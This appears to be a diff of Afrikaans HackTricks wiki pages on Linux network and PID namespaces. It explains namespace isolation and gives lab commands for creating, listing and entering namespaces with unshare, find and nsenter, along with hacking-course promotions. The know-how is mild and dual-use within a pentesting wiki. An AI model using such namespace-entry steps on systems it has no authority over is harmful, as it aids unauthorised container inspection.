* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
'n Netwerk-namespace is 'n Linux-kernelkenmerk wat isolasie van die netwerkstapel bied, wat **elke netwerk-namespace in staat stel om sy eie onafhanklike netwerk-konfigurasie**, koppelvlakke, IP-adresse, roetetabelle en vuremuur-reëls te hê. Hierdie isolasie is nuttig in verskeie scenario's, soos konteinerisasie, waar elke konteiner sy eie netwerk-konfigurasie moet hê, onafhanklik van ander konteinere en die gasheerstelsel.
|
||||
'n Netwerk naamruimte is 'n Linux-kernfunksie wat isolasie van die netwerkstapel bied, wat toelaat dat **elke netwerk naamruimte sy eie onafhanklike netwerk konfigurasie**, interfaces, IP adresse, routeringstabelle, en firewall reëls kan hê. Hierdie isolasie is nuttig in verskeie scenario's, soos containerisering, waar elke container sy eie netwerk konfigurasie moet hê, onafhanklik van ander containers en die gasheerstelsel.
|
||||
|
||||
### Hoe dit werk:
|
||||
|
||||
1. Wanneer 'n nuwe netwerk-namespace geskep word, begin dit met 'n **volledig geïsoleerde netwerkstapel**, met **geen netwerkkoppelvlakke** behalwe die lusback-koppelvlak (lo). Dit beteken dat prosesse wat in die nuwe netwerk-namespace loop, nie standaard kan kommunikeer met prosesse in ander namespaces of die gasheerstelsel nie.
|
||||
2. **Virtuele netwerkkoppelvlakke**, soos veth-pare, kan geskep word en tussen netwerk-namespaces geskuif word. Dit maak dit moontlik om netwerkverbinding tussen namespaces of tussen 'n namespace en die gasheerstelsel te vestig. Byvoorbeeld, een einde van 'n veth-paar kan in 'n konteiner se netwerk-namespace geplaas word, en die ander einde kan aangesluit word op 'n **brug** of 'n ander netwerkkoppelvlak in die gasheer-namespace, wat netwerkverbinding aan die konteiner bied.
|
||||
3. Netwerkkoppelvlakke binne 'n namespace kan hul **eie IP-adresse, roetetabelle en vuremuur-reëls** hê, onafhanklik van ander namespaces. Dit maak dit moontlik vir prosesse in verskillende netwerk-namespaces om verskillende netwerk-konfigurasies te hê en te werk asof hulle op afsonderlike netwerkstelsels loop.
|
||||
4. Prosesse kan tussen namespaces beweeg deur die `setns()`-sisteemaanroep te gebruik, of nuwe namespaces kan geskep word deur die `unshare()`- of `clone()`-sisteemaanroep met die `CLONE_NEWNET`-vlag te gebruik. Wanneer 'n proses na 'n nuwe namespace beweeg of een skep, sal dit begin om die netwerk-konfigurasie en koppelvlakke wat met daardie namespace geassosieer is, te gebruik.
|
||||
1. Wanneer 'n nuwe netwerk naamruimte geskep word, begin dit met 'n **heeltemal geïsoleerde netwerkstapel**, met **geen netwerkinterfaces** behalwe vir die loopback interface (lo). Dit beteken dat prosesse wat in die nuwe netwerk naamruimte loop nie met prosesse in ander naamruimtes of die gasheerstelsel kan kommunikeer nie, behalwe as 'n standaard.
|
||||
2. **Virtuele netwerkinterfaces**, soos veth pare, kan geskep en tussen netwerk naamruimtes beweeg word. Dit maak dit moontlik om netwerkverbinding te vestig tussen naamruimtes of tussen 'n naamruimte en die gasheerstelsel. Byvoorbeeld, een kant van 'n veth paar kan in 'n container se netwerk naamruimte geplaas word, en die ander kant kan aan 'n **brug** of 'n ander netwerkinterface in die gasheer naamruimte gekoppel word, wat netwerkverbinding aan die container bied.
|
||||
3. Netwerkinterfaces binne 'n naamruimte kan hul **eie IP adresse, routeringstabelle, en firewall reëls** hê, onafhanklik van ander naamruimtes. Dit laat prosesse in verskillende netwerk naamruimtes toe om verskillende netwerk konfigurasies te hê en te werk asof hulle op aparte netwerkstelsels loop.
|
||||
4. Prosesse kan tussen naamruimtes beweeg deur die `setns()` stelselkroep te gebruik, of nuwe naamruimtes te skep deur die `unshare()` of `clone()` stelselkroepe met die `CLONE_NEWNET` vlag. Wanneer 'n proses na 'n nuwe naamruimte beweeg of een skep, sal dit begin om die netwerk konfigurasie en interfaces wat met daardie naamruimte geassosieer is, te gebruik.
|
||||
|
||||
## Laboratorium:
|
||||
|
||||
### Skep verskillende Namespaces
|
||||
### Skep verskillende Naamruimtes
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
sudo unshare -n [--mount-proc] /bin/bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
Deur 'n nuwe instansie van die `/proc`-lêersisteem te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe berg-namespace 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie namespace** het.
|
||||
Deur 'n nuwe instansie van die `/proc` lêerstelsel te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe monteernaamruimte 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie naamruimte** het.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Fout: bash: fork: Kan nie geheue toewys nie</summary>
|
||||
|
||||
Wanneer `unshare` uitgevoer word sonder die `-f`-opsie, word 'n fout aangetref as gevolg van die manier waarop Linux nuwe PID (Proses-ID) namespaces hanteer. Die sleuteldetails en die oplossing word hieronder uiteengesit:
|
||||
Wanneer `unshare` sonder die `-f` opsie uitgevoer word, word 'n fout ondervind weens die manier waarop Linux nuwe PID (Proses ID) naamruimtes hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
|
||||
1. **Probleemverduideliking**:
|
||||
- Die Linux-kernel maak dit moontlik vir 'n proses om nuwe namespaces te skep deur die `unshare`-stelseloproep te gebruik. Die proses wat die skepping van 'n nuwe PID-namespace inisieer (bekend as die "unshare"-proses) betree egter nie die nuwe namespace nie; slegs sy kinderprosesse doen dit.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kinderprosesse in die oorspronklike PID-namespace.
|
||||
- Die eerste kinderproses van `/bin/bash` in die nuwe namespace word PID 1. Wanneer hierdie proses afsluit, veroorsaak dit die skoonmaak van die namespace as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kernel sal dan PID-toekenning in daardie namespace deaktiveer.
|
||||
1. **Probleemverklaring**:
|
||||
- Die Linux-kern laat 'n proses toe om nuwe naamruimtes te skep met die `unshare` stelselaanroep. Die proses wat die skepping van 'n nuwe PID naamruimte inisieer (genoem die "unshare" proses) betree egter nie die nuwe naamruimte nie; slegs sy kindproses doen.
|
||||
- Om `%unshare -p /bin/bash%` te loop, begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kindproses in die oorspronklike PID naamruimte.
|
||||
- Die eerste kindproses van `/bin/bash` in die nuwe naamruimte word PID 1. Wanneer hierdie proses verlaat, aktiveer dit die opruiming van die naamruimte as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kern sal dan PID-toewysing in daardie naamruimte deaktiveer.
|
||||
|
||||
2. **Gevolg**:
|
||||
- Die afsluiting van PID 1 in 'n nuwe namespace lei tot die skoonmaak van die `PIDNS_HASH_ADDING`-vlag. Dit veroorsaak dat die `alloc_pid`-funksie misluk om 'n nuwe PID toe te ken wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" -fout veroorsaak.
|
||||
- Die uitgang van PID 1 in 'n nuwe naamruimte lei tot die opruiming van die `PIDNS_HASH_ADDING` vlag. Dit lei tot die `alloc_pid` funksie wat misluk om 'n nuwe PID toe te wys wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" fout veroorsaak.
|
||||
|
||||
3. **Oplossing**:
|
||||
- Die probleem kan opgelos word deur die `-f`-opsie saam met `unshare` te gebruik. Hierdie opsie maak `unshare` 'n nuwe proses na die skepping van die nuwe PID-namespace.
|
||||
- Deur `%unshare -fp /bin/bash%` uit te voer, verseker jy dat die `unshare`-opdrag self PID 1 in die nuwe namespace word. `/bin/bash` en sy kinderprosesse word dan veilig binne hierdie nuwe namespace gehou, wat die voortydige afsluiting van PID 1 voorkom en normale PID-toekenning moontlik maak.
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak dat `unshare` 'n nuwe proses fork nadat die nuwe PID naamruimte geskep is.
|
||||
- Om `%unshare -fp /bin/bash%` uit te voer, verseker dat die `unshare` opdrag self PID 1 in die nuwe naamruimte word. `/bin/bash` en sy kindproses is dan veilig binne hierdie nuwe naamruimte, wat die voortydige uitgang van PID 1 voorkom en normale PID-toewysing toelaat.
|
||||
|
||||
Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe PID-namespace korrek onderhou, sodat `/bin/bash` en sy subprosesse kan werk sonder om die geheue-toewysingsfout te ondervind.
|
||||
Deur te verseker dat `unshare` met die `-f` vlag loop, word die nuwe PID naamruimte korrek gehandhaaf, wat toelaat dat `/bin/bash` en sy sub-prosesse kan werk sonder om die geheue toewysing fout te ondervind.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -63,29 +64,12 @@ Deur te verseker dat `unshare` met die `-f`-vlag uitgevoer word, word die nuwe P
|
|||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
# Run ifconfig or ip -a
|
||||
```
|
||||
###  Kyk watter namespace jou proses in is
|
||||
|
||||
Om te bepaal in watter namespace jou proses tans is, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
ls -l /proc/$$/ns
|
||||
```
|
||||
|
||||
Hier is die betekenis van die vlags in die uitset:
|
||||
|
||||
- `mnt`: Die bergingsnamespace
|
||||
- `pid`: Die prosesnamespace
|
||||
- `net`: Die netwerknamespace
|
||||
- `ipc`: Die interproseskommunikasienamespace
|
||||
- `uts`: Die stelselidentiteitsnamespace
|
||||
- `user`: Die gebruikersnamespace
|
||||
|
||||
As jy die uitset van die opdrag sien, kan jy bepaal in watter namespace jou proses tans is deur te kyk na die simboliese skakels wat na die aktiewe namespaces verwys.
|
||||
###  Kontroleer in watter naamruimte jou proses is
|
||||
```bash
|
||||
ls -l /proc/self/ns/net
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
|
||||
```
|
||||
### Vind alle Netwerk namespaces
|
||||
### Vind alle Netwerk name ruimtes
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -93,29 +77,28 @@ sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null |
|
|||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
{% code %}
|
||||
|
||||
### Betree 'n Netwerk-namespace
|
||||
|
||||
{% endcode %}
|
||||
|
||||
### Gaan binne 'n Netwerk-namespace in
|
||||
```bash
|
||||
nsenter -n TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Verder kan jy slegs **toegang verkry tot 'n ander proses-namespace as jy root is**. En jy **kan nie** **toegang kry** tot 'n ander namespace **sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/net`).
|
||||
Ook, jy kan slegs **in 'n ander prosesnaamruimte ingaan as jy root is**. En jy **kan nie** **in** 'n ander naamruimte **ingaan sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/net`).
|
||||
|
||||
## Verwysings
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,39 @@
|
|||
# PID Naamruimte
|
||||
# PID Namespace
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
Die PID (Process IDentifier) naamruimte is 'n kenmerk in die Linux-kernel wat proses-isolasie bied deur 'n groep prosesse te voorsien van hul eie stel unieke PIDs, afsonderlik van die PIDs in ander naamruimtes. Dit is veral nuttig in konteinering, waar proses-isolasie noodsaaklik is vir sekuriteit en hulpbronbestuur.
|
||||
Die PID (Process IDentifier) naamruimte is 'n kenmerk in die Linux-kern wat prosesisolasie bied deur 'n groep prosesse in staat te stel om hul eie stel unieke PID's te hê, geskei van die PID's in ander naamruimtes. Dit is veral nuttig in kontenerisering, waar prosesisolasie noodsaaklik is vir sekuriteit en hulpbronbestuur.
|
||||
|
||||
Wanneer 'n nuwe PID-naamruimte geskep word, word die eerste proses in daardie naamruimte toegewys aan PID 1. Hierdie proses word die "init" proses van die nuwe naamruimte en is verantwoordelik vir die bestuur van ander prosesse binne die naamruimte. Elke volgende proses wat binne die naamruimte geskep word, sal 'n unieke PID binne daardie naamruimte hê, en hierdie PIDs sal onafhanklik wees van PIDs in ander naamruimtes.
|
||||
Wanneer 'n nuwe PID naamruimte geskep word, word die eerste proses in daardie naamruimte aan PID 1 toegeken. Hierdie proses word die "init" proses van die nuwe naamruimte en is verantwoordelik vir die bestuur van ander prosesse binne die naamruimte. Elke daaropvolgende proses wat binne die naamruimte geskep word, sal 'n unieke PID binne daardie naamruimte hê, en hierdie PID's sal onafhanklik wees van PID's in ander naamruimtes.
|
||||
|
||||
Vanuit die perspektief van 'n proses binne 'n PID-naamruimte kan dit slegs ander prosesse in dieselfde naamruimte sien. Dit is nie bewus van prosesse in ander naamruimtes nie, en dit kan nie met hulle interaksie hê deur gebruik te maak van tradisionele prosesbestuurstelsels (bv. `kill`, `wait`, ens.). Dit bied 'n vlak van isolasie wat help voorkom dat prosesse mekaar versteur.
|
||||
Van die perspektief van 'n proses binne 'n PID naamruimte, kan dit slegs ander prosesse in dieselfde naamruimte sien. Dit is nie bewus van prosesse in ander naamruimtes nie, en dit kan nie met hulle interaksie hê nie met behulp van tradisionele prosesbestuur gereedskap (bv. `kill`, `wait`, ens.). Dit bied 'n vlak van isolasie wat help om te voorkom dat prosesse mekaar steur.
|
||||
|
||||
### Hoe dit werk:
|
||||
### How it works:
|
||||
|
||||
1. Wanneer 'n nuwe proses geskep word (bv. deur die `clone()` stelseloproep te gebruik), kan die proses toegewys word aan 'n nuwe of bestaande PID-naamruimte. **As 'n nuwe naamruimte geskep word, word die proses die "init" proses van daardie naamruimte**.
|
||||
2. Die **kernel** handhaaf 'n **koppeling tussen die PIDs in die nuwe naamruimte en die ooreenstemmende PIDs** in die ouer-naamruimte (dit wil sê die naamruimte waaruit die nuwe naamruimte geskep is). Hierdie koppeling **stel die kernel in staat om PIDs te vertaal wanneer dit nodig is**, soos wanneer seine tussen prosesse in verskillende naamruimtes gestuur word.
|
||||
3. **Prosesse binne 'n PID-naamruimte kan slegs ander prosesse in dieselfde naamruimte sien en daarmee interaksie hê**. Hulle is nie bewus van prosesse in ander naamruimtes nie, en hul PIDs is uniek binne hul naamruimte.
|
||||
4. Wanneer 'n **PID-naamruimte vernietig word** (bv. wanneer die "init" proses van die naamruimte afsluit), **word alle prosesse binne daardie naamruimte beëindig**. Dit verseker dat alle hulpbronne wat met die naamruimte verband hou, behoorlik skoongemaak word.
|
||||
1. Wanneer 'n nuwe proses geskep word (bv. deur die `clone()` stelselaanroep te gebruik), kan die proses aan 'n nuwe of bestaande PID naamruimte toegeken word. **As 'n nuwe naamruimte geskep word, word die proses die "init" proses van daardie naamruimte**.
|
||||
2. Die **kern** handhaaf 'n **kaart tussen die PID's in die nuwe naamruimte en die ooreenstemmende PID's** in die ouer naamruimte (d.w.s. die naamruimte waaruit die nuwe naamruimte geskep is). Hierdie kaart **stel die kern in staat om PID's te vertaal wanneer nodig**, soos wanneer dit seine tussen prosesse in verskillende naamruimtes stuur.
|
||||
3. **Prosesse binne 'n PID naamruimte kan slegs ander prosesse in dieselfde naamruimte sien en met hulle interaksie hê**. Hulle is nie bewus van prosesse in ander naamruimtes nie, en hul PID's is uniek binne hul naamruimte.
|
||||
4. Wanneer 'n **PID naamruimte vernietig word** (bv. wanneer die "init" proses van die naamruimte verlaat), **word alle prosesse binne daardie naamruimte beëindig**. Dit verseker dat alle hulpbronne wat met die naamruimte geassosieer word, behoorlik skoongemaak word.
|
||||
|
||||
## Laboratorium:
|
||||
## Lab:
|
||||
|
||||
### Skep verskillende Naamruimtes
|
||||
### Create different Namespaces
|
||||
|
||||
#### CLI
|
||||
```bash
|
||||
|
@ -41,44 +43,36 @@ sudo unshare -pf --mount-proc /bin/bash
|
|||
|
||||
<summary>Fout: bash: fork: Kan nie geheue toewys nie</summary>
|
||||
|
||||
Wanneer `unshare` uitgevoer word sonder die `-f` opsie, word 'n fout aangetref as gevolg van die manier waarop Linux nuwe PID (Process ID) namespaces hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
Wanneer `unshare` sonder die `-f` opsie uitgevoer word, word 'n fout ondervind weens die manier waarop Linux nuwe PID (Proses ID) name ruimtes hanteer. Die sleutelbesonderhede en die oplossing word hieronder uiteengesit:
|
||||
|
||||
1. **Probleemverduideliking**:
|
||||
- Die Linux-kernel maak dit moontlik vir 'n proses om nuwe namespaces te skep deur die `unshare` stelseloproep te gebruik. Die proses wat die skepping van 'n nuwe PID-namespace inisieer (bekend as die "unshare" proses) betree egter nie die nuwe namespace nie; slegs sy kinderprosesse doen dit.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kinderprosesse in die oorspronklike PID-namespace.
|
||||
- Die eerste kinderproses van `/bin/bash` in die nuwe namespace word PID 1. Wanneer hierdie proses afsluit, veroorsaak dit die skoonmaak van die namespace as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weeskindprosesse aan te neem. Die Linux-kernel sal dan PID-toekenning in daardie namespace deaktiveer.
|
||||
1. **Probleem Uitleg**:
|
||||
- Die Linux-kern laat 'n proses toe om nuwe name ruimtes te skep met die `unshare` stelselsoproep. egter, die proses wat die skepping van 'n nuwe PID naamruimte inisieer (genoem die "unshare" proses) gaan nie in die nuwe naamruimte in nie; slegs sy kindproses gaan.
|
||||
- Die uitvoering van `%unshare -p /bin/bash%` begin `/bin/bash` in dieselfde proses as `unshare`. Gevolglik is `/bin/bash` en sy kindproses in die oorspronklike PID naamruimte.
|
||||
- Die eerste kindproses van `/bin/bash` in die nuwe naamruimte word PID 1. Wanneer hierdie proses verlaat, aktiveer dit die opruiming van die naamruimte as daar geen ander prosesse is nie, aangesien PID 1 die spesiale rol het om weesprosesse aan te neem. Die Linux-kern sal dan PID-toewysing in daardie naamruimte deaktiveer.
|
||||
|
||||
2. **Gevolg**:
|
||||
- Die afsluiting van PID 1 in 'n nuwe namespace lei tot die skoonmaak van die `PIDNS_HASH_ADDING` vlag. Dit veroorsaak dat die `alloc_pid`-funksie nie 'n nuwe PID kan toeken wanneer 'n nuwe proses geskep word nie, wat die "Kan nie geheue toewys nie" fout veroorsaak.
|
||||
- Die uitgang van PID 1 in 'n nuwe naamruimte lei tot die opruiming van die `PIDNS_HASH_ADDING` vlag. Dit lei tot die mislukking van die `alloc_pid` funksie om 'n nuwe PID toe te wys wanneer 'n nuwe proses geskep word, wat die "Kan nie geheue toewys nie" fout veroorsaak.
|
||||
|
||||
3. **Oplossing**:
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak `unshare` 'n nuwe proses na die skepping van die nuwe PID-namespace.
|
||||
- Deur `%unshare -fp /bin/bash%` uit te voer, verseker jy dat die `unshare`-opdrag self PID 1 in die nuwe namespace word. `/bin/bash` en sy kinderprosesse word dan veilig binne hierdie nuwe namespace gehou, wat die vroeë afsluiting van PID 1 voorkom en normale PID-toekenning moontlik maak.
|
||||
- Die probleem kan opgelos word deur die `-f` opsie saam met `unshare` te gebruik. Hierdie opsie maak dat `unshare` 'n nuwe proses fork nadat die nuwe PID naamruimte geskep is.
|
||||
- Die uitvoering van `%unshare -fp /bin/bash%` verseker dat die `unshare` opdrag self PID 1 in die nuwe naamruimte word. `/bin/bash` en sy kindproses is dan veilig binne hierdie nuwe naamruimte, wat die voortydige uitgang van PID 1 voorkom en normale PID-toewysing toelaat.
|
||||
|
||||
Deur te verseker dat `unshare` met die `-f` vlag uitgevoer word, word die nuwe PID-namespace korrek onderhou, sodat `/bin/bash` en sy subprosesse kan werk sonder om die geheue-toewysingsfout te ondervind.
|
||||
Deur te verseker dat `unshare` met die `-f` vlag loop, word die nuwe PID naamruimte korrek gehandhaaf, wat toelaat dat `/bin/bash` en sy sub-prosesse funksioneer sonder om die geheue toewysing fout te ondervind.
|
||||
|
||||
</details>
|
||||
|
||||
Deur 'n nuwe instansie van die `/proc`-lêersisteem te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe bergnamespace 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie namespace** het.
|
||||
Deur 'n nuwe instansie van die `/proc` lêerstelsel te monteer as jy die parameter `--mount-proc` gebruik, verseker jy dat die nuwe monteer naamruimte 'n **akkurate en geïsoleerde siening van die prosesinligting spesifiek vir daardie naamruimte** het.
|
||||
|
||||
#### Docker
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
###  Kyk watter namespace jou proses in is
|
||||
|
||||
Om te bepaal in watter namespace jou proses tans is, kan jy die volgende opdrag gebruik:
|
||||
|
||||
```bash
|
||||
cat /proc/$$/status | grep NSpid
|
||||
```
|
||||
|
||||
Hierdie opdrag sal die PID (Process ID) van die proses toon, tesame met die namespace waarin dit bestaan.
|
||||
###  Kontroleer in watter naamruimte jou proses is
|
||||
```bash
|
||||
ls -l /proc/self/ns/pid
|
||||
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
|
||||
```
|
||||
### Vind alle PID-ruimtes
|
||||
### Vind alle PID name ruimtes
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -86,29 +80,31 @@ sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null |
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Let daarop dat die root-gebruiker van die aanvanklike (standaard) PID-naamruimte al die prosesse kan sien, selfs diegene in nuwe PID-naamruimtes. Dit is hoekom ons al die PID-naamruimtes kan sien.
|
||||
Let daarop dat die root gebruiker van die aanvanklike (standaard) PID naamruimte al die prosesse kan sien, selfs die in nuwe PID naamruimtes, daarom kan ons al die PID naamruimtes sien.
|
||||
|
||||
### Betree 'n PID-naamruimte
|
||||
### Gaan binne 'n PID naamruimte in
|
||||
```bash
|
||||
nsenter -t TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Wanneer jy binne 'n PID-namespace gaan vanaf die verstek-namespace, sal jy steeds al die prosesse kan sien. En die proses van daardie PID-ns sal die nuwe bash op die PID-ns kan sien.
|
||||
Wanneer jy binne 'n PID namespace van die standaard namespace ingaan, sal jy steeds al die prosesse kan sien. En die proses van daardie PID ns sal die nuwe bash op die PID ns kan sien.
|
||||
|
||||
Jy kan ook slegs **binne 'n ander proses-PID-namespace gaan as jy root is**. En jy **kan nie** **binne** 'n ander namespace **ingaan sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/pid`)
|
||||
Ook, jy kan slegs **in 'n ander proses PID namespace ingaan as jy root is**. En jy **kan nie** **in** 'n ander namespace **ingaan sonder 'n beskrywer** wat daarna verwys nie (soos `/proc/self/ns/pid`)
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
